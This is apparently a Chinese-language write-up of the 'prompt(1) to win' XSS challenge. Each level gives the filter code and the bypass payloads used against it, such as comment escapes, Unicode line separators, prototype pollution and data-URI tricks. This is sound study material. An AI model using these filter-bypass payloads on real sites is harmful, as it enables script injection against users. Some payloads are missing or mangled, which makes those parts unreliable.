prompt(1) to win
0x00
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
简单闭合下,构造"><script>prompt(1);</script>
0x01
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
可以用换行或者注释绕过,构造<svg/onload=prompt(1)//
0x02
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
可以构造如下的payload:
<script>eval.call`${'prompt\x281)'}`</script>
<script>prompt.call`${1}`</script>
<svg><script>prompt(1)</script>
......
0x03
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}
绕过闭合注释,--!><svg/onload=prompt(1)>
0x04
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
在本地将prompt(1)
写入1.js,/ 是不允许的。考虑到这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过。最后构造http://prompt.ml/@localhost/1.js
0x05
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
构造如下payload
" type="image" src=# onerror
=prompt(1) "
0x06
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
先输入范例,查看下效果
这道题是考察表单提交action过滤,这里参考大佬们的答案进行整理。题目构造post表单,我们需要输入的格式为formURL#formDataJSON,具体过程是先提取formURL构造form表单,formURL赋值给form标签中的action,然后post内容构造input标签。
想嵌入代码,经常能见到类似action=”javascript:alert(1)”的内容,但是后面还过滤了document.form[0].action内容,过滤了script和data字符。
但是过滤存在缺陷,由于存在子级tag,action 将会优先指向name为action的子tag。所以我们在构造payload时,可以将input标签的name属性值设置为action,这样document.form[0].action指向的就不是form标签中的action了,因此过滤也就不起作用了。payload:javascript:prompt(1)#{"action":"Matt"}
0x07
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
字符按照#分离,每一部分赋给一个title
,如果超过12字符,就截取前12个。可以使用注释绕过长度限制,:
"><script>/*#*/prompt(1/*#*/)</script>
"><svg/a=#"onload='/*#*/prompt(1)'
0x08
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
过滤了两个换行符,所以需要一个特殊的编码技巧:
U+2028,是Unicode中的行分隔符。
U+2029,是Unicode中的段落分隔符。
--> 在 js 中可当注释使用
在console中输入:'\u2028prompt(1)\u2028-->'
或者 '\u2029prompt(1)\u2029-->'
输出的结果就是payload。
0x09
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}
思路之前在XSS弹窗挑战里说过,给个payload,<ſcript/src="http://127.0.0.1/1.js">
0x0A
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
encodeURIComponent()不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ’ ( ) 。其他字符(比如:;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。且过滤单引号,可以考虑构造p'rompt(1)
0x0B
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}
在js中,(prompt(1))instanceof"1"
和 (prompt(1))in"1"
是可以成功弹窗的,其中双引号里面的1可以是任何字符,这里的in或者instanceof是运算符,所以可以有这样的语法结构。
"(prompt(1))in"
"(prompt(1))instanceof"
补充一个知识点,"1"(alert(1))
虽然会提示语法错误, 但是还是会执行js语句弹框。(和浏览器有关)
0x0C
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}
parseInt()
可以将字符串转数字,语法parseInt(<em>string</em>, <em>radix</em>)
。
字段 | 含义 |
---|---|
string | 必需。要被解析的字符串。 |
radix | 可选。表示要解析的数字的基数。该值介于 2 ~ 36 之间。 如果省略该参数或其值为 0,则数字将以 10 为基础来解析。如果它以 “0x” 或 “0X” 开头,将以 16 为基数。 如果该参数小于 2 或者大于 36,则 parseInt() 将返回 NaN。 |
toString()
也有一个可选参数radix,找一个足够大的基数来包含所需的所有字符,就可以将字符串编码为一个数字,然后eval
转换的结果(数字>字符串)。
可以构造如下payload:
|
|
0x0D
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
我太菜了,这题没有思路解,看了下大佬的博客,现在复现下。JSON.parse()函数要接受一个json格式的字符串返回json格式的对象,如果传入的参数已经是json格式则会抛出异常,传入的参数被解析成json格式,格式不对则直接返回Invalid image data.,再经由extend()函数处理,extend()函数把默认值替换为指定的值后返回,然后是一个正则判断source对应的值中是否有不属于url的符号,有则删去这个值,将source属性删除。
每个对象都会在其内部初始化一个属性,就是proto,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去proto里面找这个属性。
原理测试test={"source":1,"__proto__":{"source":2}}
:
那么基本上就是构造{"source":"'","proto":{"source":"onerror=prompt(1)"}}
,由于前面有非法字符’,则会删除,但是在替换的时候由于过滤了",无法闭合,那么需要利用replace的一个特性。
'1234567890'.replace('3',"han")
"12han4567890"
'1234567890'.replace('3',"$&han")
"123han4567890"
'1234567890'.replace('3',"$`han")
"1212han4567890"
'1234567890'.replace('3',"$'han")
"124567890han4567890"
'1234567890'.replace('3',"$$han")
"12$han4567890"
最后构造payload{"source":"'"," proto": {"source":"$`onerror=prompt(1)>"}}
0x0E
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return '<img src="' + input + '">';
}
函数先把输入转换为大写,第二层将//和字母换为data:,第三层将\、&、+、%和空白字符,vbs替换为_,所以不能内嵌编码后的字符,由于js大小写敏感,所以只能引用外部脚本。
Data URI是由RFC 2397定义的一种把小文件直接嵌入文档的方案。格式如下:
data:[<MIME type>][;charset=<charset>][;base64],<encoded data>
其实整体可以视为三部分,即声明:参数+数据,逗号左边的是各种参数,右边的是数据。
MIME type,表示数据呈现的格式,即指定嵌入数据的MIME。
- 1、对于PNG的图片,其格式是image/png,如果没有指定,默认是text/plain。
- 2、character set(字符集)大多数被忽略,默认是charset=US-ASCII。如果指定是的数据格式是图片时,字符集将不再使用。
- 3、base64,这一部分将表明其数据的编码方式,此处为声明后面的数据的编码是base64,我们可以不必使用base64编码格式,如果那样,我们将使用标准的URL编码方式,形如%XX%XX%XX的格式。
一个data URI范例:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=">test<a>
这道题目有问题,并不能复现成功,参考payload:"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
0x0F
|
|
7的加强版,会过滤掉*。可以用<svg>
标签构造关于<!-—>的注释。
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
"><svg><!--#--><script><!--#-->prompt(1)</
模板字符串 知识点:
1.反撇号字符 ` 代替普通字符串的引号 ’ 或 “,提供了字符串插值功能。
2.${x}
被称为模板占位符,JavaScript 将把 x 的值插入到最终生成的字符串中,也就是说`abcd${alert(1)}efgh`是可以正常执行的。
"><script>`#${prompt(1)}#`</script>